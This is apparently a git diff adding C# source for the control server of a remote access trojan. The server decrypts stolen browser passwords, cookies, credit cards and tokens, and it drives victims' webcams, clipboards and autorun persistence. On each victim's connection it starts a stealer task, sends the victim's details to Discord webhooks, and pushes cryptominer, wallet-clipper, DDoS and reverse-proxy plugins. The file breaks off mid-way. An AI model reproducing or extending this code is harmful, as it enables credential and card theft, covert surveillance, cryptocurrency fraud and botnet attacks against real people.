initial commit
This commit is contained in:
@@ -0,0 +1,163 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
using Leb128;
|
||||
using Org.BouncyCastle.Crypto.Engines;
|
||||
using Org.BouncyCastle.Crypto.Modes;
|
||||
using Org.BouncyCastle.Crypto.Parameters;
|
||||
|
||||
namespace Server.Messages;
|
||||
|
||||
internal class DecryptorBrowsers
|
||||
{
|
||||
private const int macBitSize = 128;
|
||||
|
||||
private const int nonceBitSize = 96;
|
||||
|
||||
public static void Start(string log)
|
||||
{
|
||||
if (Directory.Exists(Path.Combine(log, "Browsers")))
|
||||
{
|
||||
string[] directories = Directory.GetDirectories(Path.Combine(log, "Browsers"));
|
||||
foreach (string text in directories)
|
||||
{
|
||||
string path = Path.Combine(text, "MasterKey.bin");
|
||||
if (File.Exists(path))
|
||||
{
|
||||
byte[] key = File.ReadAllBytes(path);
|
||||
string[] directories2 = Directory.GetDirectories(text);
|
||||
foreach (string profile in directories2)
|
||||
{
|
||||
DecryptPassword(profile, key);
|
||||
DecryptCookie(profile, key);
|
||||
DecryptCreditCard(profile, key);
|
||||
DecryptTokenRestore(profile, key);
|
||||
}
|
||||
File.Delete(path);
|
||||
}
|
||||
}
|
||||
}
|
||||
if (Directory.Exists(Path.Combine(log, "Gaming", "Riot")))
|
||||
{
|
||||
string path2 = Path.Combine(log, "Gaming", "Riot", "MasterKey.bin");
|
||||
if (File.Exists(path2))
|
||||
{
|
||||
byte[] key2 = File.ReadAllBytes(path2);
|
||||
DecryptCookie(Path.Combine(log, "Gaming", "Riot"), key2);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static void DecryptPassword(string profile, byte[] key)
|
||||
{
|
||||
string path = Path.Combine(profile, "EncryptPassword.bin");
|
||||
if (!File.Exists(path))
|
||||
{
|
||||
return;
|
||||
}
|
||||
object[] array = LEB128.Read(File.ReadAllBytes(path));
|
||||
foreach (object obj in array)
|
||||
{
|
||||
try
|
||||
{
|
||||
object[] array2 = (object[])obj;
|
||||
if (!string.IsNullOrEmpty((string)array2[0]) && !string.IsNullOrEmpty((string)array2[1]))
|
||||
{
|
||||
string @string = Encoding.UTF8.GetString(DecryptValue((byte[])array2[2], key));
|
||||
File.AppendAllText(Path.Combine(profile, "Password.txt"), "Host: " + (string)array2[0] + "\nUsername: " + (string)array2[1] + "\nPassword: " + @string + "\n\n");
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Console.WriteLine(ex.ToString());
|
||||
}
|
||||
}
|
||||
File.Delete(path);
|
||||
}
|
||||
|
||||
public static void DecryptCookie(string profile, byte[] key)
|
||||
{
|
||||
string path = Path.Combine(profile, "EncryptCookie.bin");
|
||||
if (!File.Exists(path))
|
||||
{
|
||||
return;
|
||||
}
|
||||
object[] array = LEB128.Read(File.ReadAllBytes(path));
|
||||
foreach (object obj in array)
|
||||
{
|
||||
try
|
||||
{
|
||||
object[] array2 = (object[])obj;
|
||||
string @string = Encoding.UTF8.GetString(DecryptValue((byte[])array2[4], key));
|
||||
File.AppendAllText(Path.Combine(profile, "Cookie.txt"), (string)array2[0] + "\tTRUE\t" + (string)array2[1] + "\tFALSE\t" + (string)array2[2] + "\t" + (string)array2[3] + "\t" + @string + "\r\n");
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Console.WriteLine(ex.ToString());
|
||||
}
|
||||
}
|
||||
File.Delete(path);
|
||||
}
|
||||
|
||||
public static void DecryptCreditCard(string profile, byte[] key)
|
||||
{
|
||||
string path = Path.Combine(profile, "EncryptCreditCard.bin");
|
||||
if (!File.Exists(path))
|
||||
{
|
||||
return;
|
||||
}
|
||||
object[] array = LEB128.Read(File.ReadAllBytes(path));
|
||||
foreach (object obj in array)
|
||||
{
|
||||
try
|
||||
{
|
||||
object[] array2 = (object[])obj;
|
||||
string @string = Encoding.UTF8.GetString(DecryptValue((byte[])array2[0], key));
|
||||
File.AppendAllText(Path.Combine(profile, "CreditCard.txt"), "Number: " + @string + "\nExp: " + (string)array2[1] + "/" + (string)array2[2] + "\nHolder: " + (string)array2[3] + "\n\n");
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Console.WriteLine(ex.ToString());
|
||||
}
|
||||
}
|
||||
File.Delete(path);
|
||||
}
|
||||
|
||||
public static void DecryptTokenRestore(string profile, byte[] key)
|
||||
{
|
||||
string path = Path.Combine(profile, "EncryptTokenRestore.bin");
|
||||
if (!File.Exists(path))
|
||||
{
|
||||
return;
|
||||
}
|
||||
object[] array = LEB128.Read(File.ReadAllBytes(path));
|
||||
foreach (object obj in array)
|
||||
{
|
||||
try
|
||||
{
|
||||
object[] array2 = (object[])obj;
|
||||
string @string = Encoding.UTF8.GetString(DecryptValue((byte[])array2[1], key));
|
||||
File.AppendAllText(Path.Combine(profile, "TokenRestore.txt"), "AccountId: " + (string)array2[0] + "\nToken: " + @string + "\n\n");
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Console.WriteLine(ex.ToString());
|
||||
}
|
||||
}
|
||||
File.Delete(path);
|
||||
}
|
||||
|
||||
public static byte[] DecryptValue(byte[] encryptedData, byte[] bMasterKey)
|
||||
{
|
||||
GcmBlockCipher gcmBlockCipher = new GcmBlockCipher(new AesEngine());
|
||||
BinaryReader binaryReader = new BinaryReader(new MemoryStream(encryptedData));
|
||||
binaryReader.ReadBytes(3);
|
||||
AeadParameters parameters = new AeadParameters(nonce: binaryReader.ReadBytes(12), key: new KeyParameter(bMasterKey), macSize: 128);
|
||||
gcmBlockCipher.Init(forEncryption: false, parameters);
|
||||
byte[] array = binaryReader.ReadBytes(encryptedData.Length);
|
||||
byte[] array2 = new byte[gcmBlockCipher.GetOutputSize(array.Length)];
|
||||
int outOff = gcmBlockCipher.ProcessBytes(array, 0, array.Length, array2, 0);
|
||||
gcmBlockCipher.DoFinal(array2, outOff);
|
||||
return array2;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,142 @@
|
||||
using System.Collections;
|
||||
using System.Windows.Forms;
|
||||
using Server.Connectings;
|
||||
using Server.Forms;
|
||||
|
||||
namespace Server.Messages;
|
||||
|
||||
internal class HandlerAutoRun
|
||||
{
|
||||
public static void Read(Clients client, object[] objects)
|
||||
{
|
||||
switch ((string)objects[1])
|
||||
{
|
||||
case "Connect":
|
||||
{
|
||||
FormAutoRun form2 = (FormAutoRun)Application.OpenForms["AutoRun:" + (string)objects[2]];
|
||||
if (form2 == null)
|
||||
{
|
||||
client.Disconnect();
|
||||
break;
|
||||
}
|
||||
form2.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
form2.Text = "AutoRun [" + (string)objects[2] + "]";
|
||||
form2.client = client;
|
||||
form2.materialLabel1.Enabled = true;
|
||||
form2.dataGridView2.Enabled = true;
|
||||
form2.materialLabel1.Text = "Succues Connect";
|
||||
});
|
||||
client.Tag = form2;
|
||||
client.Hwid = (string)objects[2];
|
||||
break;
|
||||
}
|
||||
case "Error":
|
||||
{
|
||||
if (client.Tag == null)
|
||||
{
|
||||
client.Disconnect();
|
||||
break;
|
||||
}
|
||||
FormAutoRun form5 = (FormAutoRun)client.Tag;
|
||||
form5.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
form5.materialLabel1.Text = "Error: " + (string)objects[2];
|
||||
});
|
||||
break;
|
||||
}
|
||||
case "List":
|
||||
{
|
||||
if (client.Tag == null)
|
||||
{
|
||||
client.Disconnect();
|
||||
break;
|
||||
}
|
||||
FormAutoRun form3 = (FormAutoRun)client.Tag;
|
||||
form3.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
form3.dataGridView2.Rows.Clear();
|
||||
form3.materialLabel1.Text = "Succues auto runs";
|
||||
int num = 2;
|
||||
while (num < objects.Length)
|
||||
{
|
||||
DataGridViewRow dataGridViewRow2 = new DataGridViewRow
|
||||
{
|
||||
Cells =
|
||||
{
|
||||
(DataGridViewCell)new DataGridViewTextBoxCell
|
||||
{
|
||||
Value = (string)objects[num++]
|
||||
},
|
||||
(DataGridViewCell)new DataGridViewTextBoxCell
|
||||
{
|
||||
Value = (string)objects[num++]
|
||||
},
|
||||
(DataGridViewCell)new DataGridViewTextBoxCell
|
||||
{
|
||||
Value = (string)objects[num++]
|
||||
}
|
||||
}
|
||||
};
|
||||
form3.dataGridView2.Rows.Add(dataGridViewRow2);
|
||||
}
|
||||
});
|
||||
break;
|
||||
}
|
||||
case "Set":
|
||||
{
|
||||
if (client.Tag == null)
|
||||
{
|
||||
client.Disconnect();
|
||||
break;
|
||||
}
|
||||
FormAutoRun form4 = (FormAutoRun)client.Tag;
|
||||
form4.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
form4.materialLabel1.Text = "Succues Set auto run";
|
||||
DataGridViewRow dataGridViewRow3 = new DataGridViewRow
|
||||
{
|
||||
Cells =
|
||||
{
|
||||
(DataGridViewCell)new DataGridViewTextBoxCell
|
||||
{
|
||||
Value = (string)objects[2]
|
||||
},
|
||||
(DataGridViewCell)new DataGridViewTextBoxCell
|
||||
{
|
||||
Value = (string)objects[3]
|
||||
},
|
||||
(DataGridViewCell)new DataGridViewTextBoxCell
|
||||
{
|
||||
Value = (string)objects[4]
|
||||
}
|
||||
}
|
||||
};
|
||||
form4.dataGridView2.Rows.Add(dataGridViewRow3);
|
||||
});
|
||||
break;
|
||||
}
|
||||
case "Remove":
|
||||
{
|
||||
if (client.Tag == null)
|
||||
{
|
||||
client.Disconnect();
|
||||
break;
|
||||
}
|
||||
FormAutoRun form = (FormAutoRun)client.Tag;
|
||||
form.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
form.materialLabel1.Text = "Succues Remove auto run";
|
||||
foreach (DataGridViewRow item in (IEnumerable)form.dataGridView2.Rows)
|
||||
{
|
||||
if ((string)item.Cells[0].Value + ";" + (string)item.Cells[1].Value == (string)objects[2])
|
||||
{
|
||||
form.dataGridView2.Rows.Remove(item);
|
||||
}
|
||||
}
|
||||
});
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,58 @@
|
||||
using System.Windows.Forms;
|
||||
using Server.Connectings;
|
||||
using Server.Forms;
|
||||
|
||||
namespace Server.Messages;
|
||||
|
||||
internal class HandlerBotSpeaker
|
||||
{
|
||||
public static void Read(Clients client, object[] objects)
|
||||
{
|
||||
string text = (string)objects[1];
|
||||
if (!(text == "Connect"))
|
||||
{
|
||||
if (!(text == "List"))
|
||||
{
|
||||
return;
|
||||
}
|
||||
if (client.Tag == null)
|
||||
{
|
||||
client.Disconnect();
|
||||
return;
|
||||
}
|
||||
FormSpeakerBot form = (FormSpeakerBot)client.Tag;
|
||||
form.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
form.rjComboBox1.Items.Clear();
|
||||
int num = 2;
|
||||
while (num < objects.Length)
|
||||
{
|
||||
form.rjComboBox1.Items.Add((string)objects[num++]);
|
||||
}
|
||||
if (form.rjComboBox1.Items.Count > 0)
|
||||
{
|
||||
form.rjComboBox1.SelectedIndex = 0;
|
||||
}
|
||||
});
|
||||
return;
|
||||
}
|
||||
FormSpeakerBot form2 = (FormSpeakerBot)Application.OpenForms["BotSpeaker:" + (string)objects[2]];
|
||||
if (form2 == null)
|
||||
{
|
||||
client.Disconnect();
|
||||
return;
|
||||
}
|
||||
form2.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
form2.Text = "Speaker Bot [" + (string)objects[2] + "]";
|
||||
form2.client = client;
|
||||
form2.richTextBox1.Enabled = true;
|
||||
form2.rjComboBox1.Enabled = true;
|
||||
form2.trackBar1.Enabled = true;
|
||||
form2.trackBar2.Enabled = true;
|
||||
form2.rjButton1.Enabled = true;
|
||||
});
|
||||
client.Tag = form2;
|
||||
client.Hwid = (string)objects[2];
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,64 @@
|
||||
using System.Diagnostics;
|
||||
using System.Drawing;
|
||||
using System.Windows.Forms;
|
||||
using Server.Connectings;
|
||||
using Server.Forms;
|
||||
using Server.Helper;
|
||||
|
||||
namespace Server.Messages;
|
||||
|
||||
internal class HandlerCamera
|
||||
{
|
||||
public static void Read(Clients client, object[] objects)
|
||||
{
|
||||
string text = (string)objects[1];
|
||||
if (!(text == "Connect"))
|
||||
{
|
||||
if (!(text == "Image"))
|
||||
{
|
||||
return;
|
||||
}
|
||||
FormCamera form = (FormCamera)client.Tag;
|
||||
if (form == null)
|
||||
{
|
||||
client.Disconnect();
|
||||
return;
|
||||
}
|
||||
Bitmap bitmap = Methods.ByteArrayToBitmap((byte[])objects[2]);
|
||||
form.FPS++;
|
||||
if (form.sw.ElapsedMilliseconds >= 1000)
|
||||
{
|
||||
form.Text = $"Camera [{client.Hwid}] Fps[{form.FPS}] Data[{Methods.BytesToString(((byte[])objects[2]).Length)}] Size[{bitmap.Width}x{bitmap.Height}]";
|
||||
form.FPS = 0;
|
||||
form.sw = Stopwatch.StartNew();
|
||||
}
|
||||
form.pictureBox1.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
form.pictureBox1.Image = bitmap;
|
||||
});
|
||||
return;
|
||||
}
|
||||
FormCamera form2 = (FormCamera)Application.OpenForms["Camera:" + (string)objects[2]];
|
||||
if (form2 == null)
|
||||
{
|
||||
client.Disconnect();
|
||||
return;
|
||||
}
|
||||
form2.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
form2.client = client;
|
||||
form2.Text = "Camera [" + (string)objects[2] + "]";
|
||||
string[] array = ((string)objects[3]).Split(',');
|
||||
foreach (string item in array)
|
||||
{
|
||||
form2.rjComboBox1.Items.Add(item);
|
||||
}
|
||||
form2.rjComboBox1.SelectedIndex = 0;
|
||||
form2.materialSwitch1.Enabled = true;
|
||||
form2.rjComboBox1.Enabled = true;
|
||||
form2.numericUpDown2.Enabled = true;
|
||||
});
|
||||
client.Tag = form2;
|
||||
client.Hwid = (string)objects[2];
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,48 @@
|
||||
using System.Windows.Forms;
|
||||
using Server.Connectings;
|
||||
using Server.Forms;
|
||||
|
||||
namespace Server.Messages;
|
||||
|
||||
internal class HandlerChat
|
||||
{
|
||||
public static void Read(Clients client, object[] objects)
|
||||
{
|
||||
string text = (string)objects[1];
|
||||
if (!(text == "Connect"))
|
||||
{
|
||||
if (!(text == "Message"))
|
||||
{
|
||||
return;
|
||||
}
|
||||
if (client.Tag == null)
|
||||
{
|
||||
client.Disconnect();
|
||||
return;
|
||||
}
|
||||
FormChat form = (FormChat)client.Tag;
|
||||
form.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
form.richTextBox1.Text += (string)objects[2];
|
||||
form.richTextBox1.SelectionStart = form.richTextBox1.Text.Length;
|
||||
form.richTextBox1.ScrollToCaret();
|
||||
});
|
||||
return;
|
||||
}
|
||||
FormChat form2 = (FormChat)Application.OpenForms["Chat:" + (string)objects[2]];
|
||||
if (form2 == null)
|
||||
{
|
||||
client.Disconnect();
|
||||
return;
|
||||
}
|
||||
form2.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
form2.Text = "Chat [" + (string)objects[2] + "]";
|
||||
form2.client = client;
|
||||
form2.richTextBox1.Enabled = true;
|
||||
form2.rjTextBox1.Enabled = true;
|
||||
});
|
||||
client.Tag = form2;
|
||||
client.Hwid = (string)objects[2];
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,64 @@
|
||||
using System.Windows.Forms;
|
||||
using Server.Connectings;
|
||||
using Server.Forms;
|
||||
|
||||
namespace Server.Messages;
|
||||
|
||||
internal class HandlerClipboard
|
||||
{
|
||||
public static void Read(Clients client, object[] objects)
|
||||
{
|
||||
switch ((string)objects[1])
|
||||
{
|
||||
case "Connect":
|
||||
{
|
||||
FormClipboard form3 = (FormClipboard)Application.OpenForms["Clipboard:" + (string)objects[2]];
|
||||
if (form3 == null)
|
||||
{
|
||||
client.Disconnect();
|
||||
break;
|
||||
}
|
||||
form3.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
form3.Text = "Clipboard [" + (string)objects[2] + "]";
|
||||
form3.client = client;
|
||||
form3.richTextBox1.Enabled = true;
|
||||
form3.rjButton1.Enabled = true;
|
||||
form3.rjButton2.Enabled = true;
|
||||
form3.rjButton3.Enabled = true;
|
||||
});
|
||||
client.Tag = form3;
|
||||
client.Hwid = (string)objects[2];
|
||||
break;
|
||||
}
|
||||
case "Error":
|
||||
{
|
||||
if (client.Tag == null)
|
||||
{
|
||||
client.Disconnect();
|
||||
break;
|
||||
}
|
||||
FormClipboard form2 = (FormClipboard)client.Tag;
|
||||
form2.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
form2.richTextBox1.Text = "Error: " + (string)objects[2] + "\n";
|
||||
});
|
||||
break;
|
||||
}
|
||||
case "Get":
|
||||
{
|
||||
if (client.Tag == null)
|
||||
{
|
||||
client.Disconnect();
|
||||
break;
|
||||
}
|
||||
FormClipboard form = (FormClipboard)client.Tag;
|
||||
form.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
form.richTextBox1.Text = (string)objects[2];
|
||||
});
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,71 @@
|
||||
using System.Collections.Generic;
|
||||
using System.Windows.Forms;
|
||||
using Server.Connectings;
|
||||
|
||||
namespace Server.Messages;
|
||||
|
||||
internal class HandlerClipper
|
||||
{
|
||||
public static void Read(Clients clients, object[] array)
|
||||
{
|
||||
string text = (string)array[1];
|
||||
if (!(text == "Connect"))
|
||||
{
|
||||
if (!(text == "Log"))
|
||||
{
|
||||
return;
|
||||
}
|
||||
if (Program.form.Clipper.work)
|
||||
{
|
||||
DataGridViewRow dataGridViewRow = new DataGridViewRow();
|
||||
dataGridViewRow.Cells.Add(new DataGridViewTextBoxCell
|
||||
{
|
||||
Value = clients.Hwid
|
||||
});
|
||||
dataGridViewRow.Cells.Add(new DataGridViewTextBoxCell
|
||||
{
|
||||
Value = (string)array[2]
|
||||
});
|
||||
dataGridViewRow.Cells.Add(new DataGridViewTextBoxCell
|
||||
{
|
||||
Value = (string)array[3]
|
||||
});
|
||||
Program.form.Clipper.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
Program.form.Clipper.GridLog.Rows.Add(dataGridViewRow);
|
||||
});
|
||||
}
|
||||
else
|
||||
{
|
||||
clients.Disconnect();
|
||||
}
|
||||
}
|
||||
else if (Program.form.Clipper.work)
|
||||
{
|
||||
clients.Hwid = (string)array[2];
|
||||
clients.eventDisconnect += delegate
|
||||
{
|
||||
Program.form.Clipper.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
Program.form.Clipper.clients.Remove(clients);
|
||||
});
|
||||
};
|
||||
Program.form.Clipper.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
Program.form.Clipper.clients.Add(clients);
|
||||
});
|
||||
if (Program.form.Clipper.materialSwitch7.Checked)
|
||||
{
|
||||
clients.Send(new object[2]
|
||||
{
|
||||
"Start",
|
||||
string.Join(",", (IEnumerable<string>)Program.form.Clipper.CryptoWallet)
|
||||
});
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
clients.Disconnect();
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,281 @@
|
||||
// --- ÍÀ×ÀËÎ ÔÀÉËÀ HandlerConnect.cs ---
|
||||
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Drawing;
|
||||
using System.IO;
|
||||
using System.Windows.Forms;
|
||||
using cGeoIp;
|
||||
using Leb128;
|
||||
using Server.Connectings;
|
||||
using Server.Helper;
|
||||
using Server.Helper.Tasks;
|
||||
using System.Net;
|
||||
using System.Collections.Concurrent;
|
||||
using System.Threading;
|
||||
|
||||
namespace Server.Messages;
|
||||
|
||||
internal class HandlerConnect
|
||||
{
|
||||
public static cGeoMain cGeoMain = new cGeoMain();
|
||||
// Using ConcurrentDictionary for thread-safe access to active HWIDs
|
||||
private static ConcurrentDictionary<string, Clients> activeHwids = new ConcurrentDictionary<string, Clients>();
|
||||
|
||||
public static void Read(Clients client, object[] objects)
|
||||
{
|
||||
string clientHwid = (string)objects[3];
|
||||
|
||||
// 1. Stronger HWID Validation/Uniqueness
|
||||
// If an HWID is already active, disconnect the old client or reject the new one.
|
||||
// For a RAT, disconnecting the old client might be preferred to maintain control over the latest connection.
|
||||
if (activeHwids.TryGetValue(clientHwid, out Clients existingClient))
|
||||
{
|
||||
if (existingClient != client) // Ensure it's not the same client reconnecting
|
||||
{
|
||||
Methods.AppendLogs(client.IP, $"Duplicate HWID detected: {clientHwid}. Disconnecting old client.", Color.Orange);
|
||||
existingClient.Disconnect(); // Disconnect the old client
|
||||
activeHwids.TryRemove(clientHwid, out _); // Remove old entry
|
||||
}
|
||||
}
|
||||
// Add or update the active HWID with the current client
|
||||
activeHwids.AddOrUpdate(clientHwid, client, (key, oldClient) => client);
|
||||
|
||||
// 2. Input Validation for all incoming 'objects' data
|
||||
// Example: Validate string lengths to prevent excessively long data filling up UI/memory
|
||||
for (int i = 0; i < objects.Length; i++)
|
||||
{
|
||||
if (objects[i] is string strValue)
|
||||
{
|
||||
// Truncate strings if they are too long (e.g., for display in DataGridView)
|
||||
if (strValue.Length > 256) // Arbitrary limit, adjust as needed
|
||||
{
|
||||
objects[i] = strValue.Substring(0, 256) + "...";
|
||||
}
|
||||
}
|
||||
else if (objects[i] is byte[] byteValue)
|
||||
{
|
||||
// Limit size of image data to prevent memory exhaustion
|
||||
if (byteValue.Length > 1024 * 1024 * 2) // e.g., 2MB limit for image
|
||||
{
|
||||
Methods.AppendLogs(client.IP, "Received excessively large image data. Disconnecting client.", Color.Red);
|
||||
client.Disconnect();
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
DataGridViewRow RowClient = new DataGridViewRow();
|
||||
RowClient.Tag = client;
|
||||
RowClient.Height = Program.form.HeightColumn();
|
||||
client.Tag = RowClient;
|
||||
client.Hwid = clientHwid;
|
||||
client.UserMachine = (string)objects[4];
|
||||
using (MemoryStream stream = new MemoryStream((byte[])objects[1]))
|
||||
{
|
||||
RowClient.Cells.Add(new DataGridViewImageCell
|
||||
{
|
||||
Value = new Bitmap(stream),
|
||||
ImageLayout = DataGridViewImageCellLayout.Stretch
|
||||
});
|
||||
}
|
||||
RowClient.Cells.Add(new DataGridViewTextBoxCell
|
||||
{
|
||||
Value = client.IP
|
||||
});
|
||||
string text = "";
|
||||
string text2 = "";
|
||||
try
|
||||
{
|
||||
// ÈÑÏÐÀÂËÅÍÎ: Èñïîëüçîâàíèå ':' âìåñòî ":"
|
||||
string[] array = cGeoMain.GetIpInf(client.IP).Split(':');
|
||||
RowClient.Cells.Add(new DataGridViewTextBoxCell
|
||||
{
|
||||
Value = array[1]
|
||||
});
|
||||
text = array[1];
|
||||
text2 = array[2];
|
||||
}
|
||||
catch
|
||||
{
|
||||
RowClient.Cells.Add(new DataGridViewTextBoxCell
|
||||
{
|
||||
Value = "Unknown"
|
||||
});
|
||||
}
|
||||
RowClient.Cells.Add(new DataGridViewTextBoxCell
|
||||
{
|
||||
Value = (string)objects[2]
|
||||
});
|
||||
RowClient.Cells.Add(new DataGridViewTextBoxCell
|
||||
{
|
||||
Value = (File.Exists("Users\\" + objects[3]?.ToString() + "\\Note.txt") ? File.ReadAllText("Users\\" + objects[3]?.ToString() + "\\Note.txt") : "")
|
||||
});
|
||||
RowClient.Cells.Add(new DataGridViewTextBoxCell
|
||||
{
|
||||
Value = (string)objects[3]
|
||||
});
|
||||
RowClient.Cells.Add(new DataGridViewTextBoxCell
|
||||
{
|
||||
Value = (string)objects[4]
|
||||
});
|
||||
RowClient.Cells.Add(new DataGridViewTextBoxCell
|
||||
{
|
||||
Value = (string)objects[5]
|
||||
});
|
||||
RowClient.Cells.Add(new DataGridViewTextBoxCell
|
||||
{
|
||||
Value = (string)objects[6]
|
||||
});
|
||||
RowClient.Cells.Add(new DataGridViewTextBoxCell
|
||||
{
|
||||
Value = (string)objects[7]
|
||||
});
|
||||
RowClient.Cells.Add(new DataGridViewTextBoxCell
|
||||
{
|
||||
Value = (string)objects[8]
|
||||
});
|
||||
RowClient.Cells.Add(new DataGridViewTextBoxCell
|
||||
{
|
||||
Value = (string)objects[9]
|
||||
});
|
||||
RowClient.Cells.Add(new DataGridViewTextBoxCell
|
||||
{
|
||||
Value = (string)objects[10]
|
||||
});
|
||||
RowClient.Cells.Add(new DataGridViewTextBoxCell
|
||||
{
|
||||
Value = (string)objects[11]
|
||||
});
|
||||
RowClient.Cells.Add(new DataGridViewTextBoxCell
|
||||
{
|
||||
Value = (string)objects[12]
|
||||
});
|
||||
RowClient.Cells.Add(new DataGridViewTextBoxCell
|
||||
{
|
||||
Value = "0"
|
||||
});
|
||||
RowClient.Cells.Add(new DataGridViewTextBoxCell
|
||||
{
|
||||
Value = (string)objects[13]
|
||||
});
|
||||
Program.form.GridClients.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
Program.form.GridClients.Rows.Add(RowClient);
|
||||
});
|
||||
if (!Directory.Exists("Users\\" + (string)objects[3] + "\\Recovery"))
|
||||
{
|
||||
AutoTaskMgr.Stealer(client);
|
||||
}
|
||||
AutoTaskMgr.RunTasks(client);
|
||||
if (Directory.Exists("Users\\" + (string)objects[3]))
|
||||
{
|
||||
Methods.AppendLogs("Client " + client.IP + " " + client.UserMachine + " " + client.Hwid, "Connect", Color.Green);
|
||||
if (Program.form.settings.WebHookConnect && !string.IsNullOrEmpty(Program.form.settings.WebHook))
|
||||
{
|
||||
string mssgBody = "---------------------------------\r\nConnect new :comet: \r\n**IP: ** " + client.IP + "\r\n**Group:** " + (string)objects[2] + "\r\n**Country:** " + text + " :flag_" + text2.ToLower() + ": \r\n**Username:** " + (string)objects[4] + "\r\n**Hwid:** " + (string)objects[3] + "\r\n**Windows:** " + (string)objects[8] + "\r\n**Time Install:** " + (string)objects[11] + "\r\n**Privilege:** " + (string)objects[12] + "\r\n**Window:** " + (string)objects[13];
|
||||
// ÈÑÏÐÀÂËÅÍÎ: Èñïîëüçîâàíèå ',' âìåñòî ","
|
||||
string[] array2 = Program.form.settings.WebHook.Split(',');
|
||||
foreach (string webhook in array2)
|
||||
{
|
||||
DiscordWebhook.Send(mssgBody, "Log U_U Log", webhook);
|
||||
}
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
Methods.AppendLogs("Client " + client.IP + " " + client.UserMachine + " " + client.Hwid, "New Connect", Color.Green);
|
||||
Directory.CreateDirectory("Users\\" + (string)objects[3]);
|
||||
if (Program.form.settings.WebHookNewConnect && !string.IsNullOrEmpty(Program.form.settings.WebHook))
|
||||
{
|
||||
string mssgBody2 = "---------------------------------\r\nConnect :comet: \r\n**IP: ** " + client.IP + "\r\n**Group:** " + (string)objects[2] + "\r\n**Country:** " + text + " :flag_" + text2.ToLower() + ": \r\n**Username:** " + (string)objects[4] + "\r\n**Hwid:** " + (string)objects[3] + "\r\n**Windows:** " + (string)objects[8] + "\r\n**Time Install:** " + (string)objects[11] + "\r\n**Privilege:** " + (string)objects[12] + "\r\n**Window:** " + (string)objects[13];
|
||||
// ÈÑÏÐÀÂËÅÍÎ: Èñïîëüçîâàíèå ',' âìåñòî ","
|
||||
string[] array2 = Program.form.settings.WebHook.Split(',');
|
||||
foreach (string webhook2 in array2)
|
||||
{
|
||||
DiscordWebhook.Send(mssgBody2, "Log U_U Log", webhook2);
|
||||
}
|
||||
}
|
||||
}
|
||||
List<string> list = new List<string>();
|
||||
foreach (DataGridViewCell cell in RowClient.Cells)
|
||||
{
|
||||
if (cell.Value is string)
|
||||
{
|
||||
list.Add(cell.OwningColumn.Name.Replace("Column", "") + ": " + (string)cell.Value);
|
||||
}
|
||||
}
|
||||
File.WriteAllText("Users\\" + (string)objects[3] + "\\Information.txt", string.Join("\n", (IEnumerable<string>)list.ToArray()));
|
||||
if (Environment.UserName + " @ " + Environment.MachineName != (string)objects[4])
|
||||
{
|
||||
client.Send(new object[3]
|
||||
{
|
||||
"Invoke",
|
||||
"leb",
|
||||
new byte[1]
|
||||
});
|
||||
}
|
||||
if (Program.form.MinerXMR.work)
|
||||
{
|
||||
string checksum = Methods.GetChecksum("Plugin\\MinerXMR.dll");
|
||||
client.Send(new object[3]
|
||||
{
|
||||
"Invoke",
|
||||
checksum,
|
||||
new byte[1]
|
||||
});
|
||||
}
|
||||
if (Program.form.MinerEtc.work)
|
||||
{
|
||||
string checksum2 = Methods.GetChecksum("Plugin\\MinerEtc.dll");
|
||||
client.Send(new object[3]
|
||||
{
|
||||
"Invoke",
|
||||
checksum2,
|
||||
new byte[1]
|
||||
});
|
||||
}
|
||||
if (Program.form.Clipper.work)
|
||||
{
|
||||
string checksum3 = Methods.GetChecksum("Plugin\\Clipper.dll");
|
||||
client.Send(new object[3]
|
||||
{
|
||||
"Invoke",
|
||||
checksum3,
|
||||
new byte[1]
|
||||
});
|
||||
}
|
||||
if (Program.form.DDos.work)
|
||||
{
|
||||
string checksum4 = Methods.GetChecksum("Plugin\\DDos.dll");
|
||||
client.Send(new object[3]
|
||||
{
|
||||
"Invoke",
|
||||
checksum4,
|
||||
new byte[1]
|
||||
});
|
||||
}
|
||||
if (Program.form.ReverseProxyR.work)
|
||||
{
|
||||
byte[] array3 = LEB128.Write(new object[2] { "Pack", "ReverseProxyR" });
|
||||
string checksum5 = Methods.GetChecksum("Plugin\\ReverseProxy.dll");
|
||||
client.Send(new object[3] { "Invoke", checksum5, array3 });
|
||||
}
|
||||
if (Program.form.ReverseProxyU.work)
|
||||
{
|
||||
byte[] array4 = LEB128.Write(new object[2] { "Pack", "ReverseProxyU" });
|
||||
string checksum6 = Methods.GetChecksum("Plugin\\ReverseProxy.dll");
|
||||
